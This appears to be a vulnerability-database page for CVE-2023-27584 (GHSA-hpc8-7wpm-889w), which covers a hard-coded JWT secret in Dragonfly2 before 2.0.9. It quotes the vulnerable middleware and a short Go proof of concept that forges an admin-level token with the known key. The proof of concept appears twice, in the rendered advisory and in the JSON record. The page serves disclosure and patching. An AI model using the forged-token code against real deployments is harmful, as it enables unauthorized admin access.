cve-2023-27584
Vulnerability from cvelistv5
Published
2024-09-19 22:54
Modified
2024-09-26 03:55
Severity ?
EPSS score ?
Summary
Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.
References
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| ▼ | dragonflyoss | Dragonfly2 |
Version: < 2.0.9 |
|
|
|||
{
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}
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"baseScore": 9.8,
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"scope": "UNCHANGED",
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"tags": [
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],
"url": "https://github.com/dragonflyoss/Dragonfly2/security/advisories/GHSA-hpc8-7wpm-889w"
},
{
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"tags": [
"x_refsource_MISC"
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}
],
"source": {
"advisory": "GHSA-hpc8-7wpm-889w",
"discovery": "UNKNOWN"
},
"title": "Dragonfly2 vulnerable to hard coded cyptographic key"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
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"datePublished": "2024-09-19T22:54:40.045Z",
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}
}
ghsa-hpc8-7wpm-889w
Vulnerability from github
Published
2024-09-19 14:47
Modified
2024-09-20 14:51
Severity ?
9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
9.3 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Summary
Dragonfly2 has hard coded cyptographic key
Details
Summary
Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature.
Details
Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass ```go authMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{ Realm: "Dragonfly", Key: []byte("Secret Key"), Timeout: 2 * 24 * time.Hour, MaxRefresh: 2 * 24 * time.Hour, IdentityKey: identityKey,
IdentityHandler: func(c *gin.Context) any {
claims := jwt.ExtractClaims(c)
id, ok := claims[identityKey]
if !ok {
c.JSON(http.StatusUnauthorized, gin.H{
"message": "Unavailable token: require user id",
})
c.Abort()
return nil
}
c.Set("id", id)
return id
})
```
PoC
Use code below to generate a jwt token ```go package main
import ( "errors" "fmt" "time"
"github.com/golang-jwt/jwt/v4"
)
func (stc *DragonflyTokenClaims) Valid() error { // Verify expiry. if stc.ExpiresAt <= time.Now().UTC().Unix() { vErr := new(jwt.ValidationError) vErr.Inner = errors.New("Token is expired") vErr.Errors |= jwt.ValidationErrorExpired return vErr } return nil }
type DragonflyTokenClaims struct {
Id int32 json:"id,omitempty"
ExpiresAt int64 json:"exp,omitempty"
Issue int64 json:"orig_iat,omitempty"
}
func main() {
signingKey := "Secret Key"
token := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{
ExpiresAt: time.Now().Add(time.Hour).Unix(),
Id: 1,
Issue: time.Now().Unix(),
})
signedToken, _ := token.SignedString([]byte(signingKey))
fmt.Println(signedToken)
}
```
And send request with JWT above , you can still get data without restriction.
Impact
An attacker can perform any action as a user with admin privileges.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "d7y.io/dragonfly/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.0-beta.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-27584"
],
"database_specific": {
"cwe_ids": [
"CWE-321",
"CWE-798"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-19T14:47:36Z",
"nvd_published_at": "2024-09-19T23:15:11Z",
"severity": "CRITICAL"
},
"details": "### Summary\nHello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature. \n\n### Details\nDragonfly uses [JWT](https://github.com/dragonflyoss/Dragonfly2/blob/cddcac7e3bdb010811e2b62b3c71d9d5c6749011/manager/middlewares/jwt.go) to verify user. However, the secret key for JWT, \"Secret Key\", is hard coded, which leads to authentication bypass\n```go\nauthMiddleware, err := jwt.New(\u0026jwt.GinJWTMiddleware{\n\t\tRealm: \"Dragonfly\",\n\t\tKey: []byte(\"Secret Key\"),\n\t\tTimeout: 2 * 24 * time.Hour,\n\t\tMaxRefresh: 2 * 24 * time.Hour,\n\t\tIdentityKey: identityKey,\n\n\t\tIdentityHandler: func(c *gin.Context) any {\n\t\t\tclaims := jwt.ExtractClaims(c)\n\n\t\t\tid, ok := claims[identityKey]\n\t\t\tif !ok {\n\t\t\t\tc.JSON(http.StatusUnauthorized, gin.H{\n\t\t\t\t\t\"message\": \"Unavailable token: require user id\",\n\t\t\t\t})\n\t\t\t\tc.Abort()\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tc.Set(\"id\", id)\n\t\t\treturn id\n\t\t})\n```\n\n### PoC\nUse code below to generate a jwt token\n```go\npackage main\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/golang-jwt/jwt/v4\"\n)\n\nfunc (stc *DragonflyTokenClaims) Valid() error {\n\t// Verify expiry.\n\tif stc.ExpiresAt \u003c= time.Now().UTC().Unix() {\n\t\tvErr := new(jwt.ValidationError)\n\t\tvErr.Inner = errors.New(\"Token is expired\")\n\t\tvErr.Errors |= jwt.ValidationErrorExpired\n\t\treturn vErr\n\t}\n\treturn nil\n}\n\ntype DragonflyTokenClaims struct {\n\tId int32 `json:\"id,omitempty\"`\n\tExpiresAt int64 `json:\"exp,omitempty\"`\n\tIssue int64 `json:\"orig_iat,omitempty\"`\n}\n\nfunc main() {\n\tsigningKey := \"Secret Key\"\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, \u0026DragonflyTokenClaims{\n\t\tExpiresAt: time.Now().Add(time.Hour).Unix(),\n\t\tId: 1,\n\t\tIssue: time.Now().Unix(),\n\t})\n\tsignedToken, _ := token.SignedString([]byte(signingKey))\n\tfmt.Println(signedToken)\n}\n```\nAnd send request with JWT above , you can still get data without restriction.\n\u003cimg width=\"1241\" alt=\"image\" src=\"https://user-images.githubusercontent.com/70683161/224255896-8604fa70-5846-4fa0-b1f9-db264c5865fe.png\"\u003e\n\n\n### Impact\nAn attacker can perform any action as a user with admin privileges.\n",
"id": "GHSA-hpc8-7wpm-889w",
"modified": "2024-09-20T14:51:45Z",
"published": "2024-09-19T14:47:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dragonflyoss/Dragonfly2/security/advisories/GHSA-hpc8-7wpm-889w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27584"
},
{
"type": "WEB",
"url": "https://github.com/dragonflyoss/Dragonfly2/commit/e9da69dc4048bf2a18a671be94616d85e3429433"
},
{
"type": "PACKAGE",
"url": "https://github.com/dragonflyoss/Dragonfly2"
},
{
"type": "WEB",
"url": "https://github.com/dragonflyoss/Dragonfly2/releases/tag/v2.0.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Dragonfly2 has hard coded cyptographic key"
}
gsd-2023-27584
Vulnerability from gsd
Modified
2023-12-13 01:20
Details
** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.
Aliases
Aliases
{
"GSD": {
"alias": "CVE-2023-27584",
"id": "GSD-2023-27584"
},
"gsd": {
"metadata": {
"exploitCode": "unknown",
"remediation": "unknown",
"reportConfidence": "confirmed",
"type": "vulnerability"
},
"osvSchema": {
"aliases": [
"CVE-2023-27584"
],
"id": "GSD-2023-27584",
"modified": "2023-12-13T01:20:55.443466Z",
"schema_version": "1.4.0"
}
},
"namespaces": {
"cve.org": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2023-27584",
"STATE": "RESERVED"
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided."
}
]
}
}
}
}
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.